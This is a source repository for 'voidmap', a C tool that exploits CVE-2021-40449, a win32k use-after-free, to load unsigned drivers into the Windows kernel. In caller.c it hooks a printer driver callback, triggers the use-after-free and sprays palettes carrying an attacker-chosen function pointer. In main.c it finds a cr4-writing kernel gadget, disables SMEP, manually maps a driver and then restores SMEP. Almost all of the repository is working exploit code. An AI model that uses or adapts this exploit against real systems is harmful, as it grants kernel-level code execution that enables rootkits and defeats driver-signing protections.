├── .gitignore ├── LICENSE.txt ├── README.md └── voidmap ├── voidmap.sln └── voidmap ├── caller.c ├── caller.h ├── console.c ├── console.h ├── general.h ├── main.c ├── mapper.c ├── mapper.h ├── utils.c ├── utils.h ├── voidmap.vcxproj └── voidmap.vcxproj.filters /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash.* 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | [Ww][Ii][Nn]32/ 27 | [Aa][Rr][Mm]/ 28 | [Aa][Rr][Mm]64/ 29 | bld/ 30 | [Bb]in/ 31 | [Oo]bj/ 32 | [Ll]og/ 33 | [Ll]ogs/ 34 | 35 | # Visual Studio 2015/2017 cache/options directory 36 | .vs/ 37 | # Uncomment if you have tasks that create the project's static files in wwwroot 38 | #wwwroot/ 39 | 40 | # Visual Studio 2017 auto generated files 41 | Generated\ Files/ 42 | 43 | # MSTest test Results 44 | [Tt]est[Rr]esult*/ 45 | [Bb]uild[Ll]og.* 46 | 47 | # NUnit 48 | *.VisualState.xml 49 | TestResult.xml 50 | nunit-*.xml 51 | 52 | # Build Results of an ATL Project 53 | [Dd]ebugPS/ 54 | [Rr]eleasePS/ 55 | dlldata.c 56 | 57 | # Benchmark Results 58 | BenchmarkDotNet.Artifacts/ 59 | 60 | # .NET Core 61 | project.lock.json 62 | project.fragment.lock.json 63 | artifacts/ 64 | 65 | # ASP.NET Scaffolding 66 | ScaffoldingReadMe.txt 67 | 68 | # StyleCop 69 | StyleCopReport.xml 70 | 71 | # Files built by Visual Studio 72 | *_i.c 73 | *_p.c 74 | *_h.h 75 | *.ilk 76 | *.meta 77 | *.obj 78 | *.iobj 79 | *.pch 80 | *.pdb 81 | *.ipdb 82 | *.pgc 83 | *.pgd 84 | *.rsp 85 | *.sbr 86 | *.tlb 87 | *.tli 88 | *.tlh 89 | *.tmp 90 | *.tmp_proj 91 | *_wpftmp.csproj 92 | *.log 93 | *.vspscc 94 | *.vssscc 95 | .builds 96 | *.pidb 97 | *.svclog 98 | *.scc 99 | 100 | # Chutzpah Test files 101 | _Chutzpah* 102 | 103 | # Visual C++ cache files 104 | ipch/ 105 | *.aps 106 | *.ncb 107 | *.opendb 108 | *.opensdf 109 | *.sdf 110 | *.cachefile 111 | *.VC.db 112 | *.VC.VC.opendb 113 | 114 | # Visual Studio profiler 115 | *.psess 116 | *.vsp 117 | *.vspx 118 | *.sap 119 | 120 | # Visual Studio Trace Files 121 | *.e2e 122 | 123 | # TFS 2012 Local Workspace 124 | $tf/ 125 | 126 | # Guidance Automation Toolkit 127 | *.gpState 128 | 129 | # ReSharper is a .NET coding add-in 130 | _ReSharper*/ 131 | *.[Rr]e[Ss]harper 132 | *.DotSettings.user 133 | 134 | # TeamCity is a build add-in 135 | _TeamCity* 136 | 137 | # DotCover is a Code Coverage Tool 138 | *.dotCover 139 | 140 | # AxoCover is a Code Coverage Tool 141 | .axoCover/* 142 | !.axoCover/settings.json 143 | 144 | # Coverlet is a free, cross platform Code Coverage Tool 145 | coverage*.json 146 | coverage*.xml 147 | coverage*.info 148 | 149 | # Visual Studio code coverage results 150 | *.coverage 151 | *.coveragexml 152 | 153 | # NCrunch 154 | _NCrunch_* 155 | .*crunch*.local.xml 156 | nCrunchTemp_* 157 | 158 | # MightyMoose 159 | *.mm.* 160 | AutoTest.Net/ 161 | 162 | # Web workbench (sass) 163 | .sass-cache/ 164 | 165 | # Installshield output folder 166 | [Ee]xpress/ 167 | 168 | # DocProject is a documentation generator add-in 169 | DocProject/buildhelp/ 170 | DocProject/Help/*.HxT 171 | DocProject/Help/*.HxC 172 | DocProject/Help/*.hhc 173 | DocProject/Help/*.hhk 174 | DocProject/Help/*.hhp 175 | DocProject/Help/Html2 176 | DocProject/Help/html 177 | 178 | # Click-Once directory 179 | publish/ 180 | 181 | # Publish Web Output 182 | *.[Pp]ublish.xml 183 | *.azurePubxml 184 | # Note: Comment the next line if you want to checkin your web deploy settings, 185 | # but database connection strings (with potential passwords) will be unencrypted 186 | *.pubxml 187 | *.publishproj 188 | 189 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 190 | # checkin your Azure Web App publish settings, but sensitive information contained 191 | # in these scripts will be unencrypted 192 | PublishScripts/ 193 | 194 | # NuGet Packages 195 | *.nupkg 196 | # NuGet Symbol Packages 197 | *.snupkg 198 | # The packages folder can be ignored because of Package Restore 199 | **/[Pp]ackages/* 200 | # except build/, which is used as an MSBuild target. 201 | !**/[Pp]ackages/build/ 202 | # Uncomment if necessary however generally it will be regenerated when needed 203 | #!**/[Pp]ackages/repositories.config 204 | # NuGet v3's project.json files produces more ignorable files 205 | *.nuget.props 206 | *.nuget.targets 207 | 208 | # Microsoft Azure Build Output 209 | csx/ 210 | *.build.csdef 211 | 212 | # Microsoft Azure Emulator 213 | ecf/ 214 | rcf/ 215 | 216 | # Windows Store app package directories and files 217 | AppPackages/ 218 | BundleArtifacts/ 219 | Package.StoreAssociation.xml 220 | _pkginfo.txt 221 | *.appx 222 | *.appxbundle 223 | *.appxupload 224 | 225 | # Visual Studio cache files 226 | # files ending in .cache can be ignored 227 | *.[Cc]ache 228 | # but keep track of directories ending in .cache 229 | !?*.[Cc]ache/ 230 | 231 | # Others 232 | ClientBin/ 233 | ~$* 234 | *~ 235 | *.dbmdl 236 | *.dbproj.schemaview 237 | *.jfm 238 | *.pfx 239 | *.publishsettings 240 | orleans.codegen.cs 241 | 242 | # Including strong name files can present a security risk 243 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 244 | #*.snk 245 | 246 | # Since there are multiple workflows, uncomment next line to ignore bower_components 247 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 248 | #bower_components/ 249 | 250 | # RIA/Silverlight projects 251 | Generated_Code/ 252 | 253 | # Backup & report files from converting an old project file 254 | # to a newer Visual Studio version. Backup files are not needed, 255 | # because we have git ;-) 256 | _UpgradeReport_Files/ 257 | Backup*/ 258 | UpgradeLog*.XML 259 | UpgradeLog*.htm 260 | ServiceFabricBackup/ 261 | *.rptproj.bak 262 | 263 | # SQL Server files 264 | *.mdf 265 | *.ldf 266 | *.ndf 267 | 268 | # Business Intelligence projects 269 | *.rdl.data 270 | *.bim.layout 271 | *.bim_*.settings 272 | *.rptproj.rsuser 273 | *- [Bb]ackup.rdl 274 | *- [Bb]ackup ([0-9]).rdl 275 | *- [Bb]ackup ([0-9][0-9]).rdl 276 | 277 | # Microsoft Fakes 278 | FakesAssemblies/ 279 | 280 | # GhostDoc plugin setting file 281 | *.GhostDoc.xml 282 | 283 | # Node.js Tools for Visual Studio 284 | .ntvs_analysis.dat 285 | node_modules/ 286 | 287 | # Visual Studio 6 build log 288 | *.plg 289 | 290 | # Visual Studio 6 workspace options file 291 | *.opt 292 | 293 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 294 | *.vbw 295 | 296 | # Visual Studio LightSwitch build output 297 | **/*.HTMLClient/GeneratedArtifacts 298 | **/*.DesktopClient/GeneratedArtifacts 299 | **/*.DesktopClient/ModelManifest.xml 300 | **/*.Server/GeneratedArtifacts 301 | **/*.Server/ModelManifest.xml 302 | _Pvt_Extensions 303 | 304 | # Paket dependency manager 305 | .paket/paket.exe 306 | paket-files/ 307 | 308 | # FAKE - F# Make 309 | .fake/ 310 | 311 | # CodeRush personal settings 312 | .cr/personal 313 | 314 | # Python Tools for Visual Studio (PTVS) 315 | __pycache__/ 316 | *.pyc 317 | 318 | # Cake - Uncomment if you are using it 319 | # tools/** 320 | # !tools/packages.config 321 | 322 | # Tabs Studio 323 | *.tss 324 | 325 | # Telerik's JustMock configuration file 326 | *.jmconfig 327 | 328 | # BizTalk build output 329 | *.btp.cs 330 | *.btm.cs 331 | *.odx.cs 332 | *.xsd.cs 333 | 334 | # OpenCover UI analysis results 335 | OpenCover/ 336 | 337 | # Azure Stream Analytics local run output 338 | ASALocalRun/ 339 | 340 | # MSBuild Binary and Structured Log 341 | *.binlog 342 | 343 | # NVidia Nsight GPU debugger configuration file 344 | *.nvuser 345 | 346 | # MFractors (Xamarin productivity tool) working folder 347 | .mfractor/ 348 | 349 | # Local History for Visual Studio 350 | .localhistory/ 351 | 352 | # BeatPulse healthcheck temp database 353 | healthchecksdb 354 | 355 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 356 | MigrationBackup/ 357 | 358 | # Ionide (cross platform F# VS Code tools) working folder 359 | .ionide/ 360 | 361 | # Fody - auto-generated XML schema 362 | FodyWeavers.xsd 363 | -------------------------------------------------------------------------------- /LICENSE.txt: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 Samuel Tulach 4 | Copyright (c) 2021 ly4k 5 | 6 | Permission is hereby granted, free of charge, to any person obtaining a copy 7 | of this software and associated documentation files (the "Software"), to deal 8 | in the Software without restriction, including without limitation the rights 9 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | copies of the Software, and to permit persons to whom the Software is 11 | furnished to do so, subject to the following conditions: 12 | 13 | The above copyright notice and this permission notice shall be included in all 14 | copies or substantial portions of the Software. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 22 | SOFTWARE. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # voidmap 2 | A very simple driver manual mapper that exploits CVE-2021-40449 to get arbitrary function executed at a given address with a single given argument. It's based on an [expoit PoC CallbackHell](https://github.com/ly4k/CallbackHell). Tested on Windows 10 Pro For Workstations 1809 17763.379 (64-bit), but realistically anything around that time should be supported. 3 | 4 | It does the following: 5 | - Disables SMEP (and possibly SMAP) by rewriting cr4 register value 6 | - Jumps into usermode code that manual maps the desired driver 7 | - Enables SMEP (and possibly SMAP) again 8 | 9 | There are two main problems with this approach: 10 | - Manual mapped driver will be in a pool allocated by ExAllocatePool. If you want to use this for anything more serious you should consider finding a better way of memory allocation so it can't be dumped so easily. 11 | - There is no easy way to read the original cr4 value which means that I had to hardcode the value that was there on my system. While it *should* be the same for most modern CPUs, you should still double-check that the value is correct. 12 | 13 | Video: 14 | 15 | [![IMAGE ALT TEXT HERE](https://img.youtube.com/vi/9zHR2Lz1GrM/0.jpg)](https://www.youtube.com/watch?v=9zHR2Lz1GrM) 16 | 17 | -------------------------------------------------------------------------------- /voidmap/voidmap.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.32002.261 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "voidmap", "voidmap\voidmap.vcxproj", "{AED23ED5-7952-4DC7-8E2D-0B1BF9B8A01B}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Release|x64 = Release|x64 11 | EndGlobalSection 12 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 13 | {AED23ED5-7952-4DC7-8E2D-0B1BF9B8A01B}.Release|x64.ActiveCfg = Release|x64 14 | {AED23ED5-7952-4DC7-8E2D-0B1BF9B8A01B}.Release|x64.Build.0 = Release|x64 15 | EndGlobalSection 16 | GlobalSection(SolutionProperties) = preSolution 17 | HideSolutionNode = FALSE 18 | EndGlobalSection 19 | GlobalSection(ExtensibilityGlobals) = postSolution 20 | SolutionGuid = {06694F5E-A62E-4661-A0DF-80FB28959DFC} 21 | EndGlobalSection 22 | EndGlobal 23 | -------------------------------------------------------------------------------- /voidmap/voidmap/caller.c: -------------------------------------------------------------------------------- 1 | #include "general.h" 2 | 3 | PFN originalFunction; 4 | BOOL shouldTrigger = FALSE; 5 | HDC dummy; 6 | 7 | HMODULE printerDriverModule; 8 | char printerName[0x100]; 9 | 10 | DWORD64 argument; 11 | DWORD64 targetFunction; 12 | 13 | HPALETTE palletList[0x5000]; 14 | 15 | void CallerSprayPalettes(DWORD size) 16 | { 17 | DWORD count = (size - 0x90) / 4; 18 | DWORD paletteSize = sizeof(LOGPALETTE) + (count - 1) * sizeof(PALETTEENTRY); 19 | LOGPALETTE* palette = malloc(paletteSize); 20 | if (!palette) 21 | { 22 | ConsoleError("Failed to allocate buffer!"); 23 | return; 24 | } 25 | 26 | DWORD64* p = (DWORD64*)((DWORD64)palette + 4); 27 | for (DWORD i = 0; i < 0x120; i++) 28 | p[i] = argument; 29 | 30 | for (DWORD i = 0x120; i < (paletteSize - 4) / 8; i++) 31 | p[i] = targetFunction; 32 | 33 | palette->palNumEntries = (WORD)count; 34 | palette->palVersion = 0x300; 35 | 36 | for (DWORD i = 0; i < 0x5000; i++) 37 | palletList[i] = CreatePalette(palette); 38 | } 39 | 40 | DHPDEV CallerHookedFunction(DEVMODEW* pdm, LPWSTR pwszLogAddress, ULONG cPat, HSURF* phsurfPatterns, ULONG cjCaps, ULONG* pdevcaps, ULONG cjDevInfo, DEVINFO* pdi, HDEV hdev, LPWSTR pwszDeviceName, HANDLE hDriver) 41 | { 42 | ConsoleSuccess("Hooked function called"); 43 | 44 | ConsoleInfo("Calling original..."); 45 | DHPDEV original = original = ((DrvEnablePDEV_t)originalFunction)(pdm, pwszLogAddress, cPat, phsurfPatterns, cjCaps, pdevcaps, cjDevInfo, pdi, hdev, pwszDeviceName, hDriver); 46 | ConsoleSuccess("Original return: 0x%p", original); 47 | 48 | if (!shouldTrigger) 49 | { 50 | ConsoleWarning("Skipped exploit trigger"); 51 | return original; 52 | } 53 | 54 | shouldTrigger = FALSE; 55 | 56 | ConsoleInfo("Triggering UAF with second reset..."); 57 | HDC temp = ResetDCW(dummy, NULL); 58 | ConsoleSuccess("Returned from second reset: 0x%p", temp); 59 | 60 | ConsoleInfo("Spraying palettes..."); 61 | CallerSprayPalettes(0xe20); 62 | ConsoleSuccess("Spraying done"); 63 | 64 | return original; 65 | } 66 | 67 | BOOL CallerSetupHooks() 68 | { 69 | ConsoleInfo("Finding printers..."); 70 | DWORD pcbNeeded; 71 | DWORD pcbReturned; 72 | EnumPrintersA(PRINTER_ENUM_LOCAL, NULL, 4, NULL, 0, &pcbNeeded, &pcbReturned); 73 | if (pcbNeeded <= 0) 74 | { 75 | ConsoleError("Failed to find any printers!"); 76 | return -1; 77 | } 78 | 79 | PRINTER_INFO_4A* printerEnum = malloc(pcbNeeded); 80 | if (!printerEnum) 81 | { 82 | ConsoleError("Failed allocate buffer from printer enumeration!"); 83 | return -1; 84 | } 85 | 86 | BOOL status = EnumPrintersA(PRINTER_ENUM_LOCAL, NULL, 4, (LPBYTE)printerEnum, pcbNeeded, &pcbNeeded, &pcbReturned); 87 | if (!status || pcbReturned <= 0) 88 | { 89 | ConsoleError("Failed to enumerate printers!"); 90 | return -1; 91 | } 92 | 93 | ConsoleSuccess("Printer info count: %llu", pcbReturned); 94 | 95 | for (DWORD i = 0; i < pcbReturned; i++) 96 | { 97 | PRINTER_INFO_4A* currentPrinter = &printerEnum[i]; 98 | 99 | ConsoleInfo("Opening printer %s...", currentPrinter->pPrinterName); 100 | strcpy(printerName, currentPrinter->pPrinterName); 101 | HANDLE printerHandle; 102 | status = OpenPrinterA(currentPrinter->pPrinterName, &printerHandle, NULL); 103 | if (!status) 104 | { 105 | ConsoleError("Failed to open printer!"); 106 | continue; 107 | } 108 | 109 | ConsoleSuccess("Printer handle: 0x%p", printerHandle); 110 | 111 | ConsoleInfo("Getting printer driver..."); 112 | 113 | GetPrinterDriverA(printerHandle, NULL, 2, NULL, 0, &pcbNeeded); 114 | DRIVER_INFO_2A* driverInfo = malloc(pcbNeeded); 115 | if (!driverInfo) 116 | { 117 | ConsoleError("Failed to allocate buffer!"); 118 | continue; 119 | } 120 | 121 | status = GetPrinterDriverA(printerHandle, NULL, 2, (LPBYTE)driverInfo, pcbNeeded, &pcbNeeded); 122 | if (!status) 123 | { 124 | ConsoleError("Failed to get printer driver!"); 125 | continue; 126 | } 127 | 128 | ConsoleSuccess("Driver name: %s dll: %s", driverInfo->pName, driverInfo->pDriverPath); 129 | 130 | ConsoleInfo("Loading printer driver module..."); 131 | printerDriverModule = LoadLibraryExA(driverInfo->pDriverPath, NULL, LOAD_WITH_ALTERED_SEARCH_PATH); 132 | if (printerDriverModule == NULL) 133 | { 134 | ConsoleError("Failed to load printer driver module!"); 135 | continue; 136 | } 137 | 138 | ConsoleSuccess("Loaded module: 0x%p", printerDriverModule); 139 | 140 | ConsoleInfo("Getting exports..."); 141 | DrvEnableDriver_t DrvEnableDriver = (DrvEnableDriver_t)GetProcAddress(printerDriverModule, "DrvEnableDriver"); 142 | VoidFunc_t DrvDisableDriver = (VoidFunc_t)GetProcAddress(printerDriverModule, "DrvDisableDriver"); 143 | if (!DrvEnableDriver || !DrvDisableDriver) 144 | { 145 | ConsoleError("Failed to get exports!"); 146 | continue; 147 | } 148 | 149 | ConsoleSuccess("DrvEnableDriver: 0x%p DrvDisableDriver: 0x%p", DrvEnableDriver, DrvDisableDriver); 150 | 151 | ConsoleInfo("Enabling driver..."); 152 | DRVENABLEDATA enableData; 153 | status = DrvEnableDriver(DDI_DRIVER_VERSION_NT4, sizeof(DRVENABLEDATA), &enableData); 154 | if (!status) 155 | { 156 | ConsoleError("Failed to enable driver!"); 157 | continue; 158 | } 159 | 160 | ConsoleSuccess("Enabled driver"); 161 | 162 | ConsoleInfo("Setting custom protection on callback table..."); 163 | DWORD oldProtection; 164 | status = VirtualProtect(enableData.pdrvfn, enableData.c * sizeof(PFN), PAGE_READWRITE, &oldProtection); 165 | if (!status) 166 | { 167 | ConsoleError("Failed to set protection on callback table!"); 168 | continue; 169 | } 170 | 171 | ConsoleSuccess("Custom protection set"); 172 | 173 | ConsoleInfo("Looping callback table..."); 174 | BOOL found = FALSE; 175 | for (DWORD n = 0; n < enableData.c; n++) 176 | { 177 | ULONG iFunc = enableData.pdrvfn[n].iFunc; 178 | if (iFunc == INDEX_DrvEnablePDEV) 179 | { 180 | originalFunction = enableData.pdrvfn[n].pfn; 181 | enableData.pdrvfn[n].pfn = (PFN)CallerHookedFunction; 182 | found = TRUE; 183 | break; 184 | } 185 | } 186 | 187 | if (found) 188 | { 189 | ConsoleSuccess("Replaced function pointer"); 190 | } 191 | else 192 | { 193 | ConsoleError("Desired function not found!"); 194 | return -1; 195 | } 196 | 197 | ConsoleInfo("Disabling driver..."); 198 | DrvDisableDriver(); 199 | ConsoleSuccess("Disabled driver"); 200 | 201 | ConsoleInfo("Reverting protection..."); 202 | status = VirtualProtect(enableData.pdrvfn, enableData.c * sizeof(PFN), oldProtection, &oldProtection); 203 | if (!status) 204 | { 205 | ConsoleError("Failed to revert protection!"); 206 | continue; 207 | } 208 | 209 | ConsoleSuccess("Protection reverted"); 210 | 211 | return TRUE; 212 | } 213 | 214 | return FALSE; 215 | } 216 | 217 | BOOL CallerInit() 218 | { 219 | BOOL status = CallerSetupHooks(); 220 | if (!status) 221 | { 222 | ConsoleError("Failed to setup hooks!"); 223 | return FALSE; 224 | } 225 | 226 | ConsoleInfo("Creating device context..."); 227 | dummy = CreateDCA(NULL, printerName, NULL, NULL); 228 | if (!dummy) 229 | { 230 | ConsoleError("Failed to create device context (for %s)!", printerName); 231 | return FALSE; 232 | } 233 | 234 | ConsoleSuccess("Created device context"); 235 | return TRUE; 236 | } 237 | 238 | BOOL CallerDestroy() 239 | { 240 | ConsoleInfo("Freeing DC..."); 241 | BOOL status = DeleteDC(dummy); 242 | if (!status) 243 | { 244 | ConsoleWarning("Failed to free DC!"); 245 | } 246 | else 247 | { 248 | ConsoleSuccess("DC freed"); 249 | } 250 | 251 | ConsoleInfo("Freeing palettes..."); 252 | for (DWORD i = 0; i < 0x5000; i++) 253 | DeleteObject(palletList[i]); 254 | 255 | ConsoleSuccess("Palettes freed"); 256 | 257 | // we need to force unload it 258 | // so we can trigger the exploit reliably 259 | // again 260 | ConsoleInfo("Freeing library..."); 261 | while (FreeLibrary(printerDriverModule)) {} 262 | 263 | ConsoleSuccess("Library freed"); 264 | return TRUE; 265 | } 266 | 267 | BOOL CallerCallKernelFunction(PVOID function, DWORD64 rdx) 268 | { 269 | BOOL status = CallerInit(); 270 | if (!status) 271 | return FALSE; 272 | 273 | ConsoleInfo("Attempting to call 0x%p with param %llu...", function, rdx); 274 | argument = rdx; 275 | targetFunction = (DWORD64)function; 276 | shouldTrigger = TRUE; 277 | ResetDC(dummy, NULL); 278 | 279 | ConsoleSuccess("Call might have succeeded"); 280 | 281 | status = CallerDestroy(); 282 | if (!status) 283 | return FALSE; 284 | 285 | return TRUE; 286 | } -------------------------------------------------------------------------------- /voidmap/voidmap/caller.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | typedef void(*DrvDisablePDEV_t)(DHPDEV dhpdev); 4 | typedef BOOL(*DrvEnableDriver_t)(ULONG version, ULONG cj, DRVENABLEDATA* pded); 5 | typedef DHPDEV(*DrvEnablePDEV_t)(DEVMODEW* pdm, LPWSTR pwszLogAddress, ULONG cPat, HSURF* phsurfPatterns, ULONG cjCaps, ULONG* pdevcaps, ULONG cjDevInfo, DEVINFO* pdi, HDEV hdev, LPWSTR pwszDeviceName, HANDLE hDriver); 6 | typedef void(*VoidFunc_t)(); 7 | 8 | void CallerSprayPalettes(DWORD size); 9 | DHPDEV CallerHookedFunction(DEVMODEW* pdm, LPWSTR pwszLogAddress, ULONG cPat, HSURF* phsurfPatterns, ULONG cjCaps, ULONG* pdevcaps, ULONG cjDevInfo, DEVINFO* pdi, HDEV hdev, LPWSTR pwszDeviceName, HANDLE hDriver); 10 | BOOL CallerInit(); 11 | BOOL CallerCallKernelFunction(PVOID function, DWORD64 rdx); -------------------------------------------------------------------------------- /voidmap/voidmap/console.c: -------------------------------------------------------------------------------- 1 | #include "general.h" 2 | 3 | void ConsoleBase(enum ConsoleColor color, const char* prefix, const char* text, va_list args) 4 | { 5 | const HANDLE consoleHandle = GetStdHandle(STD_OUTPUT_HANDLE); 6 | 7 | SetConsoleTextAttribute(consoleHandle, White); 8 | printf("["); 9 | 10 | SetConsoleTextAttribute(consoleHandle, color); 11 | printf("%s", prefix); 12 | 13 | SetConsoleTextAttribute(consoleHandle, White); 14 | printf("] "); 15 | 16 | SetConsoleTextAttribute(consoleHandle, DarkWhite); 17 | vprintf(text, args); 18 | printf("\n"); 19 | } 20 | 21 | void ConsoleInfo(const char* text, ...) 22 | { 23 | va_list args; 24 | va_start(args, text); 25 | ConsoleBase(Cyan, "i", text, args); 26 | va_end(args); 27 | } 28 | 29 | void ConsoleWarning(const char* text, ...) 30 | { 31 | va_list args; 32 | va_start(args, text); 33 | ConsoleBase(Yellow, "w", text, args); 34 | va_end(args); 35 | } 36 | 37 | void ConsoleError(const char* text, ...) 38 | { 39 | va_list args; 40 | va_start(args, text); 41 | ConsoleBase(Red, "e", text, args); 42 | va_end(args); 43 | } 44 | 45 | void ConsoleSuccess(const char* text, ...) 46 | { 47 | va_list args; 48 | va_start(args, text); 49 | ConsoleBase(Green, "s", text, args); 50 | va_end(args); 51 | } 52 | 53 | void ConsoleTitle(const char* name) 54 | { 55 | const HANDLE consoleHandle = GetStdHandle(STD_OUTPUT_HANDLE); 56 | 57 | SetConsoleTextAttribute(consoleHandle, Purple); 58 | printf("%s\n", name); 59 | 60 | SetConsoleTextAttribute(consoleHandle, DarkWhite); 61 | printf("build on %s\n\n", __DATE__); 62 | } -------------------------------------------------------------------------------- /voidmap/voidmap/console.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | enum ConsoleColor 4 | { 5 | Default, 6 | DarkBlue, 7 | DarkGreen, 8 | DarkCyan, 9 | DarkRed, 10 | DarkPurple, 11 | DarkYellow, 12 | DarkWhite, 13 | DarkGrey, 14 | DarkBlueLite, 15 | Green, 16 | Cyan, 17 | Red, 18 | Purple, 19 | Yellow, 20 | White 21 | }; 22 | 23 | void ConsoleBase(enum ConsoleColor color, const char* prefix, const char* text, va_list args); 24 | void ConsoleInfo(const char* text, ...); 25 | void ConsoleWarning(const char* text, ...); 26 | void ConsoleError(const char* text, ...); 27 | void ConsoleSuccess(const char* text, ...); 28 | void ConsoleTitle(const char* name); -------------------------------------------------------------------------------- /voidmap/voidmap/general.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #include "console.h" 10 | #include "utils.h" 11 | #include "mapper.h" 12 | #include "caller.h" -------------------------------------------------------------------------------- /voidmap/voidmap/main.c: -------------------------------------------------------------------------------- 1 | #include "general.h" 2 | 3 | int main(int argc, char* argv[]) 4 | { 5 | ConsoleTitle("voidmap"); 6 | 7 | if (argc != 2) 8 | { 9 | ConsoleError("Invalid parameters; read README in official repo (github.com/SamuelTulach/voidmap)"); 10 | return -1; 11 | } 12 | 13 | ConsoleInfo("Reading driver file..."); 14 | const char* driverFilePath = argv[1]; 15 | SIZE_T driverFileSize; 16 | driverBuffer = UtilsReadFile(driverFilePath, &driverFileSize); 17 | if (!driverBuffer) 18 | { 19 | ConsoleError("Failed to read driver file!"); 20 | return -1; 21 | } 22 | 23 | PIMAGE_NT_HEADERS64 imageHeaders = UtilsGetImageHeaders(driverBuffer, driverFileSize); 24 | if (!imageHeaders) 25 | { 26 | ConsoleError("Invalid image file!"); 27 | return -1; 28 | } 29 | 30 | ConsoleSuccess("Driver timestamp: %llu", imageHeaders->FileHeader.TimeDateStamp); 31 | 32 | ConsoleInfo("Getting kernel base..."); 33 | kernelBase = UtilsGetModuleBase("ntoskrnl.exe"); 34 | if (!kernelBase) 35 | { 36 | ConsoleError("Could not get kernel base address!"); 37 | return -1; 38 | } 39 | 40 | ConsoleSuccess("Kernel base: 0x%p", kernelBase); 41 | 42 | ConsoleInfo("Loading kernel image locally..."); 43 | HMODULE kernelHandle = LoadLibraryExA("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES); 44 | if (!kernelHandle) 45 | { 46 | ConsoleError("Failed to load kernel image locally!"); 47 | return -1; 48 | } 49 | 50 | ConsoleSuccess("Local base: 0x%p", kernelHandle); 51 | 52 | ConsoleInfo("Resolving KeFlushCurrentTbImmediately..."); 53 | DWORD64 gadget = (DWORD64)GetProcAddress(kernelHandle, "KeFlushCurrentTbImmediately"); 54 | if (!gadget) 55 | { 56 | ConsoleError("Failed to load kernel image locally!"); 57 | return -1; 58 | } 59 | 60 | ConsoleSuccess("KeFlushCurrentTbImmediately: 0x%p", gadget); 61 | 62 | ConsoleInfo("Resolving gadget address..."); 63 | // 64 | // KeFlushCurrentTbImmediately + 0x17 65 | // mov cr4, rcx 66 | // retn 67 | // 68 | gadget += 0x17; 69 | 70 | DWORD64 gadgetKernelAddress = (DWORD64)kernelBase + gadget - (DWORD64)kernelHandle; 71 | ConsoleSuccess("Gadget: 0x%p", gadgetKernelAddress); 72 | 73 | ConsoleInfo("Setting thread priority..."); 74 | BOOL status = SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_HIGHEST); 75 | if (!status) 76 | { 77 | ConsoleError("Failed to set thread priority!"); 78 | return -1; 79 | } 80 | 81 | ConsoleSuccess("Thread priority set"); 82 | 83 | ConsoleInfo("Setting current process affinity..."); 84 | DWORD_PTR originalAffinity = SetProcessAffinityMask(GetCurrentProcess(), 1 << 3); 85 | if (!originalAffinity) 86 | { 87 | ConsoleError("Failed to set thread affinity!"); 88 | return -1; 89 | } 90 | 91 | ConsoleSuccess("Thread affinity set"); 92 | 93 | ConsoleInfo("Changing cr4..."); 94 | status = CallerCallKernelFunction((PVOID)gadgetKernelAddress, 0x00000000000506F8); 95 | if (!status) 96 | { 97 | ConsoleError("Failed to call function!"); 98 | return -1; 99 | } 100 | 101 | ConsoleInfo("Calling mapper itself..."); 102 | status = CallerCallKernelFunction((PVOID)KernelCallback, 0); 103 | if (!status) 104 | { 105 | ConsoleError("Failed to call function!"); 106 | return -1; 107 | } 108 | 109 | ConsoleInfo("Checking kernel callback..."); 110 | if (!kernelCallbackCalled) 111 | { 112 | ConsoleError("Callback function was not called, exploit was unsuccessful!"); 113 | return -1; 114 | } 115 | 116 | ConsoleSuccess("Callback called"); 117 | 118 | ConsoleInfo("Checking status..."); 119 | if (mapStatus == STATUS_SUCCESS) 120 | { 121 | ConsoleSuccess("Driver was mapped successfully!"); 122 | ConsoleSuccess("Driver status: 0x%p", driverStatus); 123 | } 124 | else 125 | { 126 | ConsoleError("Failed driver map: 0x%p", mapStatus); 127 | } 128 | 129 | ConsoleInfo("Restoring cr4..."); 130 | status = CallerCallKernelFunction((PVOID)gadgetKernelAddress, 0x00000000001506F8); 131 | if (!status) 132 | { 133 | ConsoleError("Failed to call function!"); 134 | return -1; 135 | } 136 | 137 | 